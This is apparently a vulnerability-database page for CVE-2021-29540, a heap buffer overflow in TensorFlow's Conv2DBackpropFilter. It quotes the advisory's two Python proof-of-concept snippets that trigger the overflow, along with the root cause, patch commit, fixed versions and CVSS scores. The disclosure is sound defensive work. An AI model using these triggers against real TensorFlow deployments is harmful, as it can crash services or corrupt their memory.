CVE-2021-29540

LOW2.5EPSS 0.03%

Heap buffer overflow in `Conv2DBackpropFilter`

發布日:2021/5/21修改日:2026/3/13

描述

### Impact An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`: ```python import tensorflow as tf input_tensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ``` Alternatively, passing empty tensors also results in similar behavior: ```python import tensorflow as tf input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. ### Patches We have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

受影響套件(7)

  • Bitnami/tensorflowfrom 0, < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2
  • PyPI/tensorflowfrom 0, < 2.1.4
  • PyPI/tensorflowfrom 0, < c570e2ecfc822941335ad48f6e10df4e21f11c96 | from 0, < 2.2.0rc0, >= 2.2.0, < 2.3.0rc0, >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-cpufrom 0, < c570e2ecfc822941335ad48f6e10df4e21f11c96 | from 0, < 2.2.0rc0, >= 2.2.0, < 2.3.0rc0, >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-cpufrom 0, < 2.1.4
  • PyPI/tensorflow-gpufrom 0, < c570e2ecfc822941335ad48f6e10df4e21f11c96 | from 0, < 2.2.0rc0, >= 2.2.0, < 2.3.0rc0, >= 2.3.0, < 2.3.4, >= 2.4.0, < 2.4.3
  • PyPI/tensorflow-gpufrom 0, < 2.1.4

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
osvCVSS 3.1LOW2.5CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

參考連結(7)